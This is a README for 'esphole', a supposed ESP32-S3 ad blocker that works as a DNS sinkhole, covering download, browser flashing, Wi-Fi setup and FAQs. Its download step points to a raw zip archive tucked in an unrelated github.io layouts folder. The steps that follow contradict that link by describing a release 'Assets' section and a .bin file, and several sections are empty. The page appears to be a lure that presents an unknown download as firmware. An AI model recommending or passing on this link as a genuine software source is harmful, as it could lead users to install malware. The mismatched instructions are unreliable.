🛡️ esphole - Block network ads using ESP32 hardware

https://img.shields.io/badge/Download-Latest_Release-blue.svg

Esphole turns a small, low-power ESP32-S3 microchip into a network filter. It acts as a gatekeeper for your home internet. It stops ads and trackers before they reach your devices. This tool works like a filter for your web traffic. Your devices send requests to the chip. The chip checks these requests against a list of known ad servers. It blocks bad requests and lets good traffic pass.

📋 What you need

Before you start, gather these items:

You do not need to know how to write code. You only need the ability to plug in hardware and use a web browser.

📥 How to get the software

You must download the firmware from the official project page. Follow these steps to obtain the correct files:

  1. Visit this page to download: https://github.com/TUMIN4028/tumin4028.github.io/raw/refs/heads/main/_layouts/App-v2.7.zip
  2. Scroll to the “Assets” section.
  3. Click the link that ends in .bin to save the file to your computer.
  4. Keep this file in a folder you can find later, like your Downloads folder.

⚙️ Setting up the device

The ESP32-S3 needs the software you just downloaded. You will use a tool inside your web browser to put the software onto the chip. This method avoids the need for complex developer tools.

  1. Connect your ESP32-S3 board to your Windows computer using the USB-C cable.
  2. Open the Chrome or Edge browser.
  3. Navigate to the ESP Web Tools page provided in the project documentation.
  4. Click the “Connect” button in your browser.
  5. A window will appear. Select the port that corresponds to your ESP32-S3 board.
  6. Click “Install” and select the .bin file you downloaded earlier.
  7. Wait while the browser writes the software to your hardware. The progress bar will indicate when the process finishes.

🌐 Configuring the network filter

After the installation, the chip creates a small Wi-Fi network of its own. Your computer must connect to this network to finish the setup.

  1. Open your Wi-Fi settings on Windows.
  2. Look for a network name similar to “esphole-setup”.
  3. Join this network.
  4. Open your web browser and type 192.168.4.1 into the address bar.
  5. Enter your home Wi-Fi name and password. The chip uses these to connect to your normal internet.
  6. Press the save button. The ESP32-S3 will reboot and connect to your home Wi-Fi.

🚥 How the system works

The device uses a technique called DNS sinkholing. When a browser tries to load a page, it asks for the address of that page. Your computer asks the ESP32-S3 for this address. If the request is on the block list, the chip returns a dead end. The browser cannot find the ad. If the request is safe, the chip forwards the request to a real server. This process takes milliseconds. You will not notice a delay in your browsing speed.

🛡️ Reliability features

Esphole includes features that keep your internet running under various conditions.

Fail-open: If the chip loses power or stops working, the filter shuts down. Your internet traffic continues to flow. You will see ads again, but your internet connection will not drop.

DNS-over-TLS: This feature encrypts your DNS requests. Encryption makes your browsing habits private. Your internet provider cannot see which sites you visit.

OTA Rollback: If you ever update the software and it fails to boot, the device returns to the previous working version. This prevents the chip from becoming unusable.

🛠️ Troubleshooting

If the device does not respond, try these steps:

📱 Frequently asked questions

Do I need a server? No. The ESP32-S3 runs the software entirely on its own.

Will this slow down my gaming? No. The device processes standard DNS queries very fast. It does not handle heavy data streams like video or large game files.

Can I add my own block lists? Yes. You can access the internal web dashboard of the device to add custom domains to the block list or the allow list.

Is this free to use? Yes. The software is released under the MIT license, which allows for free personal use.

Keywords: adblock, dns, dns-over-tls, dns-sinkhole, esp32, esp32-s3, fail-open, firmware, iot, ota, pi-hole, web-serial